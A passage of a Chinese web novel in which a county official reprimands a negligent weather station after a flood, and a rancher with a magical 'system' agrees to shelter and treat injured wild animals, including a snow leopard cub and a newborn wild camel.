“小苏，你去看下教室还有储物间各个地方还有什么东西，凡是被水泡过的食物之类的全部丢掉，衣服之类的消毒杀菌。” “张师傅，你把从街道领回来的84兑水，给整个校区每个角落都喷洒一遍，先别急着用火用电，等电工师傅来检查下之后再说，煤气灶应该问题不大，线路也检查一下有没有进水。” 校长有条不紊地吩咐着，“教育局领导去开会了，等开完会不管是复课任务还是其他的安排也都得下来了，在此之前咱们该做的必须得做好。” 整座城似乎都忙碌了起来，扫水的，除淤泥的，消毒的，损失不算小，但唯一庆幸的是没有人员死亡。 石岳文看着下面统计上来的损失明细只觉得心都痛了起来，他把表格扔在桌子上，靠着椅背缓了半天这才打起精神处理事情。 “去气象站把站长给我叫来”，石岳文面色很冷，什么狗屁东西，他们该做灾害预警的，他都不信了这么大的雨察觉不到？ 如果提前知道了，他们能做多少工作？又能减少多少损失？ 粮食储备库里的粮食不少都进了水，这是多大的损失？ 虽然说当时他大晚上跑出去首先就是去了粮食储备库，但是损失已经造成了，他只能减损！可如果提前预警，这难道不能避免吗？ 他得搞清楚，到底是技术层面的问题还是人的问题。 打心底里讲，他更倾向于是人的问题，毕竟下雨前已经听人说过可能会下雨了，只是跟气象那边确定了不会下大家猜放松了警惕的。 想到这里石岳文更生气了，第一次没发现，第二次还是没发现！ 气象站的站长曹兵来的很快，他站在副县长办公室门口掏出手帕擦了半天的汗，心里琢磨着说辞，脸上是掩饰不去的恐慌。 从开始下雨起他整个人都麻了，等雨越下越大，他不等上面安排就赶紧组织单位的员工出去配合抢险救灾，为的是什么？还不是希望看在他们后来表现的份儿上少找些麻烦？ 他深吸一口气敲了敲门，“进来。” 曹兵推开门，不等他说话石岳文便开门见山问道，“工作报告拿来我看看”，他让秘书提前通知了的。 曹兵又想擦汗了，他赶忙把报告递上去，石岳文翻看了起来。 曹兵不留痕迹地打量着石岳文，这位石副县长是退伍后分配到这里来的，能做这种行政工作，他本身绝对不是那种莽夫。 不到四十的年纪，听说入伍的时候就是高中文凭了，退伍后又参加了好几个党校的学习班，经过学习后如今人家已经是大学文凭了，将来的前途可是不可限量啊！ 所以曹兵在他面前很是发怵，生怕自己撞到人家枪杆子上！ 石岳文看着那个狗屁报告半晌都气笑了，他一把将文件扔在了桌子上，声音吓得曹兵一震。 “人工观测站里每隔两个小时需要有人去记录气温、气压、湿度、风向风速、降水等数据，但你给我解释解释为什么连续两天每个时间段监测出来的湿度都一样？” 曹兵抖了一下，想解释什么就又听石岳文骂道，“我已经联系上面查过了，中央气象台包括自治区的都播放了天气形势电报，你们画的天气分析图呢？我也找人专门打听了，气象站是可以在纸质地图上手工绘制等压线、锋面等，分析天气系统移动路径，从而关注冷锋、低涡、切变线等易引发强降水的系统是否影响本地，你们的图呢？” 曹兵又开始擦汗，看的石岳文一肚子火。 “副县长，是这样的，咱们这小地方气象站的同事虽然已经很认真去观测了，但是您也知道，咱们小地方留不住人才啊！”他忍不住又嘀咕了两句，“再说了，市里也没给咱们明确的通知说是会下暴雨啊！” 石岳文气笑了，什么意思？怪他们没把本地经济搞上去？ “市里是市里的事情，跟你没关系，你也别管那么多，先把勾子擦干净再去管别人！至于人才？你跟我提这个是吧？那我来跟你算算啊！咱们县的气象站不算重点地区，所以人数不算多，有站长一人，地面观测员3人，探空观测员2人，资料员跟报务员各1人，司机1人，加起来9个人，也不算少了吧？” “至于能力的问题，确实，有大本事的人未必愿意回到咱们小地方来，所以从我上任至今，我给你们这些技术部门多少优待？送你们去上学去培训去丰富自己的专业知识，三名地面观测员中两名我都是托关系送到兰州气象学校深造了，这是中专。探空观测员中一人更是我专门从南京气象学校引进的人才，另一人也是中专毕业的，你告诉我，你还想要什么人才？我给你把天上的文曲星拽下来送过去才行是吗？” 石岳文是真的生气，他不是不知道边疆地区难，有多少人读书的最初目的就是离开这里，去大城市。 别管你学的什么，反正都不想回到边疆奋斗了，为了能留住人才他给了不少优待了。而且在职员工想要深造他们也会出钱，当然了也会签协议要求多少年内不能辞职否则得进行赔偿。 他们县本身就是靠农牧业为生的，而这两个行业讲难听点不就是看老天爷的脸色吃饭？所以在气象、水利相关方面他很舍得花钱的！ 哪怕不是他管的范畴，他有意见了也会提，只要是真为了这座城市好。 他自问做得已经够可以了。 “来，你给我解释一下，为什么已经有了足够的人才的情况下，你们还能给我交出这么一份答卷来！” 第124章 曹兵嘴巴张合了半天也不知道该说什么,他们气象站的人是个什么尿性他心里是清楚的。 引进的人不说，就算是派出去学习的人也未必真学出了什么东西啊…… 石岳文看他这样心里有了猜测，他的事情太多了,把人送过去后他哪有时间盯着他们看他们能不能学到什么,他又不是他们爹妈？ 在石岳文利刃般的目光下曹兵还是低下了头,可嘴里却忍不住继续给自己辩驳,“市里那边一样可以监测到,咱们小地方不能比,可市里这也不太合适吧！” 石岳文冷笑，“我说了，先把你自己勾子擦干净！” 见石岳文脏话都骂出来了曹兵彻底不敢言语了。 “你以为我会放过他们？还是说你觉得我不放过他们就会放过你们？我告诉你曹兵，这件事情可没完,等着接受调查吧,有问题的那些人一个个都给我赔偿完后回家吃自己去吧！” “你也别打什么乱七八糟的主意”,见曹兵眼珠子滴溜溜的转，石岳文满脸嫌恶，“我已经跟县委班子讨论过了,你们这一波人除了司机之外其他人全部停职反省,至于你们的工作我会找人暂代，等查清楚事情经过后再说后续,出去！” 见曹兵还想赖着不走,石岳文都气笑了,“小周,把曹同志给我送出去！” 在秘书的不着痕迹推搡下曹兵无奈只能离开，石岳文见状忍不住揉了揉太阳穴，有时候气急了真想把这群蠢货全都赶下台！ 还当这是早年间啊？打着毛衣织着手套就能把一天的工作打发了？开什么玩笑！ 别的地方，别的人他管不着,但是只要他石岳文还在任上一天，就绝对不允许这种蛀虫继续损害国家利益！ 山下的调查和重建都还算是有条不紊的进行着，姚新泉跟师月江在山上却等到了高局长。 今天虽然已经晴了，但是牧场上的水还没完全退下去，倒不是说像城里一样内涝，只是草地上湿漉漉的，一踩就往下陷，不管是为了避免牲畜摔倒还是吃了太多带雨水的草导致肠胃不好，今天都不能放出去，再晒两天吧！ 姚新泉还拎着铁锹带着张新康在一些积水相对严重的地方挖水沟引流，而师月江则是在给家里的电线还有围栏这些做检修。 听到动静后师月江去把人接了过来，知道他的来意后师月江直说自己做不了主，便去牧场上找姚新泉了。 等姚新泉回来时就见高局长一言难尽地看着她，见他这个模样姚新泉心里有了猜测。 她洗了个手，“看到马鹿了？” 高局长点头，“小姚啊，你这样大咧咧的让我很难办啊！”要是不让他看到很多事情不就好说了？ 姚新泉忍不住笑了，“没到那个地步，那头马鹿是我们三个下雨的时候去河里捞的，你看脖 子上那个疤痕就是绳子磨得，我们只是救助，可没私自驯养。” 高局眯着眼睛看了看好像是这样的这才放下心来，但又不免多叮嘱两句，“看现在的情况日后对这块儿肯定是管理的越来越严的，你可别糊涂踩法律的红线啊！” 姚新泉点了点头，能力范围内她愿意救助，至于驯养真没必要。 “月江把你的来意跟我说了，怎么想到我这里的？” 高局叹了口气，“没合适的地方了啊，救助的那些动物往那儿搁？也没人照料啊！” 高局这次来就是想跟姚新泉谈在她牧场不用的棚里暂时收留那些因为大雨甚至是洪水而受伤的野生动物。 之前也说了，县里是没有动物园的，市里动物园不是直属的接收单位，而且运来运去也麻烦。 至于兽医的话，动物们的伤势倒是都做了初步处理，可未来还是需要照料的，哪有人用？ “咱们县最好的兽医就是艾力了，他又崴了脚，其他人”，高局摇了摇头，寻常家畜也就算了，野生动物他们真搞不定。 “崴脚？”姚新泉皱眉，“我们昨天见还好的啊！” 高局自然是听闻了姚新泉二人昨晚半夜奔袭去救牲畜的事情，也听说了师月江大晚上地一个人闪电下山救孕妇的事情，当时听的时候特欣慰。 “应该就是你们走了之后他出去上厕所的时候脚一滑就摔了。” 姚新泉无奈，不是，他昨天自己一个人从兽医站去了那边这么远的路又是晚上还下着大雨也没摔着碰着，结果该做的事情都做完了，上个厕所摔了，这可真是！ “你虽然不是在编兽医，但你的技术大家有目共睹，所以只能来求你了”，他话音一转，“当然了，肯定不会让你白干。” 姚新泉莞尔一笑，“那高局想给我些什么？”她倒也没真想着说去薅政府的羊毛，尤其是县里许多地方需要修，当然了重建倒不至于，不过外面乡镇上就不好说了，外面乡镇上可是有不少地方都是土坯房，而且即便是土坯房都已经有年头了，被水淹之后会不会变成危房，会不会要重建反正都是问题，她也没那个脸伸手。 高局将自己带来的包打开，从里面拿出了一份聘用合同递给姚新泉，姚新泉接过后翻看了两页人都愣了，“这是？” “我们林业局的一个临时工聘用合同，在野生动植物保护处任职，平时也不需要你听从安排和工作，只要在你从事本职工作之余如果有遇到能救的就像那头马鹿一样救一下就行。” 他目光隐含深意，“当然了，也能给你这里不少小家伙的存在给个合理合法性。” 真当大家都是傻子啊？ 那个小金雕都这么大了，他每次过来都能看到在姚新泉家牧场上空盘旋，说什么它来去自由的话那不是糊弄鬼吗？ 有些事情没人追究也就罢了，但是一旦追究起来大家都不开心。 这两年关于野生动物保护的工作越来越受重视，万一因为她的一时好心受到影响那可真能气死人。 但如果她有公职就不一样了啊！ “只是个临时工，你也别觉得不好意思，我可没打算发你工资”，高局开了个玩笑，不过姚新泉也看到了，合同里虽然写了不发工资，但是正式工享受的福利待遇，当然了只是说是年节的福利，不包括退休后的保障。 “以后不管是艾力那边叫你还是我们这边找你有什么事情，都是给你按次计费，款由我们这给你拨，我们再问他们那边要，流程合规，这个钱我们给你按市面上相对较高的一波主张。” 姚新泉丝毫不犹豫，“成”，说完便把字签了把文件递给他两份，自己留了一份。 高局笑着点了点她，“你啊！” 不过他也是真喜欢这种直爽的性格，扭扭捏捏做什么呢？有条件就提，不愿意就说，长了嘴就是用来说话的。 “那我现在回去让人把动物给你拉来？倒也不多，就十来只”。 姚新泉没忍住翻了个白眼，还就十来只，应该说重症就十来只，轻症都已经放走了吧？ 她低声在心里问，“系统，那这种情况给我奖励积分吗？” “你这还好意思问我要啊？” 姚新泉理直气壮，“我为什么不好意思？人家送过来一是图我这里有个清净的地方，地方还大”。 这场暴雨算下来对她牧场的影响不算太大，河边确实因为水位暴涨被淹了，但是随着雨停之后慢慢水位也退了下去，岸上的水迟早都是会渗下去的。 至于房子甚至是畜棚，因为地势高，就算有一些积水，下雨的时候师月江也带着张新康给挖了水沟引走了，所以畜棚里水气大是不假，但是影响比起山下来小太多。 山下有没有人照顾是一方面，现在肯定是家家户户都在清理暴雨过后残留的东西，屋子里哪里都没个干净的地儿，小动物在那边也不方便啊！ 毕竟一个弄不好，暴雨、洪水过后跟着的可就是瘟疫了！ 所以山下的重心肯定不会放在小动物身上，这样的话，哪怕暂时没有生命危险的小动物未来也不好说啊！ “二来呢，不就是图我现在手艺还不错嘛？有个万一我还能给个急救？” “人家都觉得我有价值，为什么你认识不到我的价值？” 系统语塞，他哼哼半天最后才勉强道，“那就一半，正常分值的一半！” “行！”姚新泉也爽快，她跟系统搞不好那是要处一辈子的，没必要因为这点小事闹得不开心。 “我去安排车过来送，你们下午留个人在家里啊！”说完高局便走了。 姚新泉把合同递给师月江跟张新康看，张新康忍不住撇嘴，“一点儿工资都不发啊？” 姚新泉把合同卷成纸筒，“小傻子，有些时候钱是最不重要的”，万一真有那么一天闹得养不了小金它们了，她才会气死好嘛！ 现在给自己做了个背书后，只要马鹿愿意，它都可以留在牧场呢！ 她没想强留小动物，它们是自由的，所以她也希望它们能有留下来的自由。 第125章 师月江下山送张新康了,两人早就 看出张新康坐立不安，只是下着雨两人也没办法。 姚新泉看着比张新康要矮一些，再加上是女生,好像没他强壮一样。但是事实上她每天干这么多活儿,再加上金手指的加成,她各方面都比张新康要强。 所以雨夜里师月江敢带着她出去,但是未必愿意带着张新康去,他们也不想冒这个险。 张新康心里也清楚,所以什么都没表露出来。但当高局来了之后他便坐不住了，见状姚新泉干脆让师月江送他下山。 看着两人步行下山的背影姚新泉叹了口气，这出行可真麻烦！ 地上到处都是泥泞，不管是骑摩托车、三轮车还是骑马风险都太大了,可不能为了省点儿时间出了意外就不值当了。 高局是骑着骑自行车上来的,据说绝大多数路都是推着走,就这样，人还摔了好几跤…… 姚新泉带着扫把、水桶等等去了空闲的畜棚。 之前闲着没怎么打扫，现在既然要关小动物了肯定得收拾下的。 北疆天气干燥又灰尘大,这也就是刚下了暴雨,空气里水汽重，不然推门进来那肯定到处都是灰。 她没急着打扫,提了两桶水先把畜棚地上浇了一遍。 姚爸姚妈对于这个牧场的建立那是真的费时费力更费钱,想着一步到位免得之后再隔三差五修修补补,所以两人干脆在畜棚里都铺的是红砖。 红砖不贵,他们本地就有小作坊偷着烧，所以家里全铺的是红砖，这样一来牲畜们在畜棚里拉了尿了都好收拾，如果是泥地的话就麻烦好多。 这也方便了姚新泉,两桶水下去，地上的脏水往两边流，她又拿扫把扫了扫便大致干净了。 把畜棚上的篷布掀开通风后如法炮制把另外几间全都收拾了。 看着整洁一新的畜棚姚新泉撑着腰缓缓吐出口气，上午已经把水沟挖好该排的水都排了，畜棚里的粪便也都铲走了，此时畜棚里还算干燥，她把生石灰翻出来用铁锨铲着给几个关了牲畜的棚里都消了消毒。 然后又把畜棚脏水往外流的水沟里洒了些烧碱。 家里牲畜虽然多，但是没有太受暴雨影响，所以适当消毒也就差不多了。 等这边忙完她打算去牧场上转转，万一哪里有淹死的小动物，该埋的就得埋，不然那个才麻烦呢！ 她忙着别的小动物也没闲着，马儿们是一个都没被放出来，但是狗子跟小金它们那是关不住的，就连莱尼都跑出来了。 姚新泉听到动静后回头看去，就见皮皮正翘着嘴巴要去咬小金呢！ 只见小金轻轻一扇翅膀就从柱子上飞了起来，人家飞得还特别刻意，刚好从皮皮脑袋上经过，羽翼扫到皮皮的头。 皮皮反应也快，“噗！” 姚新泉瞪大了眼睛，满脸嫌弃，“皮皮，你怎么吐口水啊？” 小金也像愣住了一样，她感受到自己身上的那诡异的触感突然尖叫一声就冲向皮皮，吓得姚新泉撂下铁锨就跑了过去，在小金就要啄她之前把小金抱了起来。 她也顾不得别的，用手套把小金翅膀上的唾沫擦掉抱在怀里安抚，“没事没事哦，不气，小金不生气啊！我去给你洗洗好不好？” 小金委屈地在她怀里哼唧，姚新泉暗暗吸气，老天爷，这么大一只雕自己心里都没点儿数吗？ 知道小金正在气头上她也不好说什么，暗暗瞪了皮皮一眼抱着她去了卫生间，然后用自己的香皂给她洗了下翅膀，小金这才不哼唧了，可还是缩在姚新泉怀里不下去。 姚新泉抱着这个甜蜜的负担直叹气，“那红隼在家里也关了有一阵了，伤口都好了，我给放了？” 小金歪着头看了看她，姚新泉不确定她有没有听懂。没办法，她的金手指并不是什么读心术，除了让小动物们感受到他们善意，让自己更有亲和力之外，顶多就是让双方更有默契。 就像现在，她虽然不确定小金同不同意放走红隼，但她知道，自己放了红隼小金绝对不会生气。 姚新泉把小金放在远离皮皮的一个桩子上，然后去了笼子那边把红隼提了出来，抓住它的翅根，红隼老实耷拉着头不敢有任何异动。 小金的目光死死锁住红隼，姚新泉只觉得自己手上不是提了只鸟，这就是提了块儿木头嘛！僵硬的木头！ 她看了看红隼的伤口，确定已经恢复得完全可以适应野外生活了想了想也没叮嘱什么，把红隼往天上一抛！ 红隼像是没搞明白发生了什么一样，直直往下坠。 姚新泉眼睛都瞪大了，不是吧，我就关了你几天，你可别耍无赖啊！ 没等她动静，就见小金一个猛子扎向地面，那红隼像是感受到了天敌的气息，扑腾着落了地又赶忙起飞。 小金靠近它后旱地拔葱又直线起飞，就在红隼脑袋顶上飞！ 姚新泉忍俊不禁，这个小金啊！ 那红隼刚开始好像想跑，可小金一直在她头顶上飞，它想跑跑不掉，可又不愿意认命。 突然，那红隼飞速冲向小金，姚新泉心里一跳，手也紧紧握在了一起，就算知道小金很是英勇却也还是不免担心这孩子会不会出什么事。 可金雕本就不惧怕红隼，更别说小金比一般的金雕还要大一些，见到红隼挑衅她毫不畏惧，接受了红隼的挑衅。 感受到腿边有东西，她低头一看，就见莱尼竖着大尾巴在她身边蹭来蹭去，姚新泉实在没忍住轻轻握住了莱尼的尾巴。 莱尼回头看了她一眼，傲娇地坐在了姚新泉的鞋子上，姚新泉哭笑不得。 那边战局开始的很快，结束的更是猝不及防。 姚新泉只是一个不留神就见小金抓着红隼飞了过来，姚新泉真实好气又好笑，“我才给治好的。” 小金叫了一声，姚新泉听出了不满，就见她松开了爪子，红隼从爪子上掉落后，扑腾了两下便正常飞了起来。 姚新泉这才反应过来，“小金你没伤着它啊！” 小金傲娇地别过头去，姚新泉失笑，行吧，真懂事。 “那你们是商量好了吗？”她有些好奇，红隼自己落在了另一个杆子上，整只鸟看上去都臊眉搭眼的。 小金得意地高高昂起脖子，姚新泉忍不住笑了起来。 莱尼看着姚新泉笑，突然不着痕迹地靠近红隼，在红隼还没反应过来的时候突然一个跳跃咬住了红隼的脖子，随后轻轻落地，甚至没发出什么太大的动静。 姚新泉眼睛都要瞪出来了，不是，莱尼不是没野外生存能力吗？ 这，这啥啊？ 可看着她嘴里的红隼，姚新泉又赶忙跑过去掰她的嘴，当手落在莱尼的嘴上时她才觉得不太对。 自己是不是对这种生物链顶端的猛兽有点不太尊重啊？ 对上莱尼的目光后姚新泉更是尴尬一笑，“那什么，你要不放开呗？” 莱尼眨了眨大眼睛，她张开嘴，红隼吧嗒从她嘴里落了下来。 姚新泉顾不得别的，赶紧检查红隼的伤势，可仔细看了一圈目光有些惊疑不定，“小莱尼，你也没咬它是吗？” 莱尼起身尾巴在姚新泉脖子上绕来绕去，表情怎么看怎么得意，她忍不住一把搂住莱尼，“你逗我呢是吧？” 莱尼想伸舌头舔她被姚新泉一把拦住，“宝贝儿，你这舌头可是能挂肉的，可别舔我！” 抱着莱尼的大脑袋亲了一口后姚新泉又看向躺在地上的红隼，浑身写满了生无可恋的红隼…… 她甚至怀疑自己听到了红隼的抽泣声…… “行了行了给你弄点儿肉吃，你别委屈了！” 红隼悲愤的目光看过去，可对上蹲坐在桩子上的小金以及隐隐弓起背的莱尼，红隼瞬间放平心态，“啾！” 乖巧！ 另一边来是骑车来的，回去是徒步回的，张新康只觉得脚要断了，“月江哥，你们就这样上山下山的吗？” 看他一脸痛苦的样子师月江无奈，就这小身板子还离家出走呢？ “天气好的时候可以骑车，但这种时候只能步行了”，想到他哥说给姚新泉买的车师月江又觉得他哥可真是个及时雨啊！ 开车总比骑摩托之类的安全多了啊！ 毕竟那摩托可是肉包铁啊！ 再把路一修，只要没太严重的灾情都能正常出行了。 “你那车等回头天气好了我跟你姐给你骑下来，你下回想来给我还有你姐打电话，我们过来接你也成。” 张新康瞄了他一眼乖乖点头，敢跟姐姐插科打诨，他可真不敢在这位未来姐夫面前放肆。 早晨起来洗漱的时候师月江可穿的是背心，他可看到师月江身上那不少的疤痕，都是老旧伤疤，而且伤的看样子可不清，一看就不是什么普通人啊！ 张新康的眼神太过直白，师月江想装看不懂都难。 在对方把自己当混社会的以前，师月江先开口了，“我是退伍 兵，正经职业，别整天胡想八想的。” 张新康尴尬一笑，可转瞬眼睛又亮了起来，“哥，你看我以后能当兵吗？” 第126章 张运秋远远看着跟在师月江身后的张新康时没忍住往他那边快走了两步,但又赶忙停下了脚步。 “臭小子还知道回来！”他跟苏永华都要担心死了！ 张新康抿了抿嘴，也没好意思道歉含糊了两声后赶紧去店里帮忙打扫了。 师月江看了看，“店里有什么要我帮忙的吗？” 张运秋赶忙笑着摇头,“没有没有,一切都好,我们家还有新泉她姑姑和叔叔家都没啥事儿,你们呢？山上怎么样？” 师月江大概讲了几句就跟两人告辞上山了。 走到一半突然听到身后的拖拉机声音,他回头一看就见两辆拖拉机上堆放满了各式大小的笼子,一位虽然不知道叫什么名字，但是眼熟的男同志在拖拉机后面挤着。 对方也认出他来了，让司机停车后笑着朝他打招呼，接上师月江后一起去了牧场。 师月江看了一眼身后关在笼子里的动物们忍不住有些失神,小唐见状笑了笑,扯着嗓子喊,“没见过吧？也就动物园能见到这样的了！” 可不是吗，虽然他自己本身也养了莱尼这个野生动物，家里现在又有金雕又有马鹿的,可是当这么两车不同种类的野生动物被关在一起的时候还是觉得有些震撼。 “别看咱们这边发展比不上内地,但是大啊！没利用上的地方太多了，不管是草原还是山林都多。” “这次的暴雨你们这边因为地势高所以基本没受影响,但是别的地方不一样了,有被淹的,有被擦伤的,还有树倒了被砸伤的，还有太小了被放弃的”，小唐不免唏嘘，看着蔫哒哒的小动物们他心里也不大好受。 师月江目光落在自己脚边上的一个笼子上,“这是鸭还是鹅？” 长得有点像鸭子，虽然师月江不觉得高局会大老远送一只鸭子过来救助，估计也是什么珍惜动物，但这家伙长得着实是有点朴素了，但比普通鸭子跟鹅可要大不少啊。 “什么鸭子啊！”小唐失笑，“是大天鹅。” 大天鹅也叫黄嘴天鹅，是鸭科天鹅属，跟鸭子其实还真有点儿相似。 “咱们县北边儿有个镇那边是有一片湿地的，虽然还没形成自然保护区，但是咱们这儿的大天鹅基本都是在那边生活，那边的水可比这边多多了。” “这是雨停了之后我们划船去巡查它们栖息地的时候，发现这小家伙不知道怎么被困在一个树枝堆里面，我们把它弄出来后才发现这家伙的左边翅膀好像出了问题，飞不起来了。” 小唐叹气，他指着另一个笼子，“盘羊幼崽，受伤了之后被家族放弃了，要不是被救援队救下也没了。” “还有那头，鹅喉羚，不知道在哪里碰的，角断了。水里多脏你知道的，所以这小家伙好像感染了。” 他指着这辆车上的小家伙们给做了个介绍，末了还添了一句，“都是又可怜又乖的小家伙们。” 师月江莞尔，“新泉答应了接收就不会反悔的，你不用担心。” 小唐有些不好意思，虽然他没开过牧场，但也知道牧场上事情不会少的，有这个时间去干什么不好，就非要来照看动物？ 他也怕他们俩不好好待这些小家伙，都挺可怜的，除了受伤，不少还被族群放弃了，唉！ 拖拉机开得不算太快，姚新泉正好在外面，听到动静后赶忙出来开门，让车直接开到畜棚门口，她探头看了一眼，正对上一个挠笼子的小家伙。 “雪豹！”姚新泉瞪大了眼睛，好像还是幼崽！ 师月江从前面的车上下来看到正对着他们龇牙的雪豹幼崽后也轻笑了下，毛茸茸的还怪可爱的。 几人把笼子抬下来后姚新泉大概看了下，也顾不上别的先平均分到了四个畜棚里，这下所有畜棚算是全都用上了！ 小唐从拖拉机上抱下来一个大纸箱子，“姚老板，这是高局让带来的，说是常用兽药基本都在这里了，高局知道你也善用中药，但是这个咱都不懂，所以他说了让你开单子，他安排人去采购，缺什么你直说！” 姚新泉想了想也没客气，列了个长长的单子后交给对方，小唐接过便赶忙走了。 等她离开后姚新泉才懊恼地拍了下额头，“我应该说要个药柜的！” 她每次买的中药都是包在纸包里然后堆放在一个大袋子里，太随意了，会影响药性的！ 每次想着要买要买但总忘！ “我定了一个，估计也差不多做好了，我去问问市里到咱们这通车没有，要是通车了让人送过来”，师月江笑道。 姚新泉满脸惊喜，“真的啊？你咋这么贴心呢？” 师月江好笑地戳了下她的眉心去打电话了，姚新泉转身回了畜棚，她趴在栏杆上看着笼子里的小家伙们，一时间有些发愁，不知道该怎么安置。 这些小家伙们不少都是食物链上下级，散养不太好吧？而且乍一看暴脾气的估计也不少，本来就病着，再闹起来这不更严重了？ 她目光转啊转落在了马鹿身上，突然心里一动，“你能给我看看孩子不？” 马鹿没吭声，但那目光总让姚新泉觉得在骂自己，她哼哧哼哧笑了起来还是打消了这个念头。 别看马鹿不是食肉动物，但这家伙太大了！ 别说是雪豹幼崽了，就算是成年雪豹过来，它也未必敢打马鹿的主意！这马鹿的角绝对能轻轻松松把它的肠子挑出来！ 他能镇压，但问题是跟它在一起的小病号们估计会因为害怕而休息不好，进而影响到伤情的恢复的。 还是算了吧，还是别虐待伤员了！ 姚新泉没急着给小动物们治病，她拿起高局让小唐带过来的记录本，上面简略记录了小动物们的伤情。 “雪豹，耳朵化脓，爪子上指甲断裂，肉垫受伤严重”，姚新泉嘶了一声，看向那个警惕的不行，但实际上比小猫大不了多少的小家伙，“你不会是从山上摔到河里了吧？”指甲和肉垫是因为在扒住山或者石壁的时候弄伤的？ 她想伸手碰一碰小雪豹的耳朵，可小雪豹吓得不行龇牙想要咬她，姚新泉还没来的及做什么，突然从侧面伸进来了一只斑点爪子。 姚新泉回头一看，果然是莱尼。 莱尼伸出前爪按在了小雪豹的头上，小雪豹僵在原地不敢动。 要是成年状态的话，猎豹未必是雪豹的对手。猎豹速度是快，甚至可以说是陆地上最快的，但问题是猎豹的咬合力相对较差，耐力也一般，当然了这是对于一个顶级捕猎者来说。 而雪豹的话虽然速度比不上猎豹，但是咬合力强，耐力和爆发力都强，如果真遇到并且正面对上的话，猎豹应该不是雪豹的对手。 当然了，这两种顶级捕猎者生存环境是有明显区别的，在自然界应该是没啥遇到的可能性，这不是特殊情况嘛！ 但小雪豹太小了，在猎豹面前只能瑟瑟发抖。 姚新泉好笑又无奈地把指甲都没伸出来的莱尼的前爪握住，捏了捏她的肉垫，然后把她打横抱起来轻轻隔着围墙把她放到外面。 她捏了捏莱尼的耳朵，脸上满是笑意，“你真是悄无声息地跳进来啊！自己玩儿去吧，这些小家伙都怕你呢！” 除了跟她直接接触的小雪豹之外，别的小家伙们也都在发抖，虽然它们未必知道莱尼是什么，但是莱尼身上那股猛兽的气息可不是开玩笑的。 莱尼蹭了蹭她，尾巴在她手臂上绕了两圈，在姚新泉伸手去摸的时候又快速移开，转身走掉。 姚新泉忍俊不禁，看到师月江过来时忍不住吐槽，“莱尼现在爱出来了啊！”冬天她基本不会出门，前一阵子没这么热，其实外面还挺舒服的，但莱尼也不爱出门，结果热起来了人家出门了。 “她出生的环境就是热的地方，估计是更适应这种温度吧”，他话音一转，“我问了今天在清理来县里的路，已经跟对方说好了，让他明天安排车把药柜给咱们拉过来。” “真的啊！”姚新泉满脸惊喜，“咱们晚上腾个地方出来放药柜”，她想了想后干脆道，“要不看看这几天干脆让人来盖房子吧？就外面接上几间？接三间吧，点点他们现在住的这间到时候墙上开个门，然后再接一间大的给他们住，皮皮他们要是非要往里挤也能住得下，门到时候开高一点。再盖一间卧室跟一间杂物间吧！” 师月江没意见，只是没忍住吐槽，“你可真是惯孩子啊！” 姚新泉哼了一声不理他 继续去看小动物们。 盘羊，腹部一个挺大的伤口，但应该是没伤到内脏，还没缝合，只是简单做了清创。 鹅喉羚，右角从根部断了，伤口发炎，身上也有诸多小伤口。 大天鹅，飞不起来了，姚新泉伸手去摸了摸，也不知道是她的金手指起作用了还是接触了两只猛兽后身上带着它们的气息，大天鹅老老实实让她触摸，“骨折了，得给它做个复位。” “还有骆驼？”看着那个缩在笼子里的小家伙姚新泉有点惊讶，刚不是她抬得就没注意到，虽然这笼子不小，“不是，谁想到把骆驼关笼子里的啊？” 第127章 姚新泉人都傻了,她赶忙打开笼子把小骆驼抱出来，小家伙站在地上后姚新泉摸了摸它的驼峰，人更无语了。 “怎么了？”师月江不解。 姚新泉叹了口气,“我真服了真的,它驼峰还是软的,应该出生没多久！我估计它现在还不到一米,体重估计也就三十来公斤,真的是刚出生的小崽子啊！” “也不知道吃上奶没有”,姚新泉发愁地摸了摸小骆驼身上米黄色的绒毛，应该是在水里泡过了，不少地方还脏兮兮的。 她摸了摸小骆驼的肚子，瘪瘪的更头疼了,“这都饿了多久啊！” 姚新泉真的想骂人了,“现在这种情况我到哪儿去找骆驼奶去啊？羊奶咱家都没有！” 她深吸一口气平复了下心情,见小骆驼萎靡不振的，她看向师月江，“你去挤点牛奶,然后上锅煮一下,不要煮开，就那种要开不开的状态下把火调到最小,过上半分钟左右关火,然后你用温水跟牛奶一比一兑一下先给小骆驼喝喝看吧！” 牛奶和骆驼奶的成分不一样,小骆驼很容易乳糖不耐受而腹泻的。 突然想到什么姚新泉懊恼地拍了下头,“我记得之前留了巴合提亚尔他们村委会的电话，你去给他打电话问下他家骆驼租不租？我记得之前他还给咱送了骆驼酸奶，应该是有养骆驼，或者知道哪儿有养骆驼的。” 他们村里是没有的,要真想找也能找，但问题是麻烦啊！山下都在忙着恢复生产生活呢！ “租骆驼还有运过来的钱得高局他们出！”姚新泉恨恨道。 她刚大致检查了下，小骆驼没啥毛病，就纯粹是饿了，估计是因为刚出生就遇到山洪导致跟族群失散了，毕竟那种时候最先被放弃的肯定是老弱病残。 “不过野骆驼不是在沙漠地带比较多吗，咱们这儿也有？” “野骆驼？”师月江有些疑惑，这不就是普通骆驼吗？ 她摇了摇头，“应该是野骆驼，虽然跟家养的还比较像吧！但野骆驼的驼峰更小，腿更长，蹄子也小，更适应戈壁环境。” 师月江看了看也没看出什么名堂干脆去打电话跟煮牛奶了，姚新泉捏了捏小骆驼的脖子叹气，可怜的小家伙啊！ 小骆驼饿的都有点走不动道儿了，颤颤巍巍地跟在姚新泉身后，姚新泉也没管它继续去看下一个动物。 真的搞不明白，到底为什么要用笼子啊？拴着不可以吗？ 她接着走到了自己最好奇的笼子旁边，“四爪陆龟”，她翻看着记录本表情有些一言难尽，“呛水导致肺炎好像还有点真菌感染啊！” 虽然说都知道它叫陆龟了，这家伙的游泳能力自然比不上旁的龟，但是直面一只乌龟呛水的时候还是有点稀奇。 四爪陆龟是北疆的本土龟也叫草原龟，分布范围很小，姚新泉之前只是听说过但是没见过。 这家伙主要是在黄土丘陵草原半荒漠地区里的一些蒿草丰富、土质湿润、螺壳较多的阴坡凹地栖息，虽然也会游泳，但是它呼吸主要是靠肺的，而且因为它们的壳比较硬，限制了胸廓扩张，呼吸效率较低，长时间浸水容易导致窒息，估计这个小家伙就是这样的。 “真看得起我，一般动物让我治，现在连乌龟都让我治”，姚新泉嘟囔道，但她还真学了一些。 她估计这也是系统给她开的后门，在她们决定在河里养殖水产来恢复生态之后，姚新泉的课程中就自动增加了关于水生动物乃至于一些爬行纲的动物的治疗课程。 虽然姚新泉觉得自己应该不至于去养乌龟吧，但是本着不学白不学的想法，她学了。 这不就用上了？ 没急着处理，她又看向了两只雪兔，跟盘羊一样是外伤，过会儿得缝合。 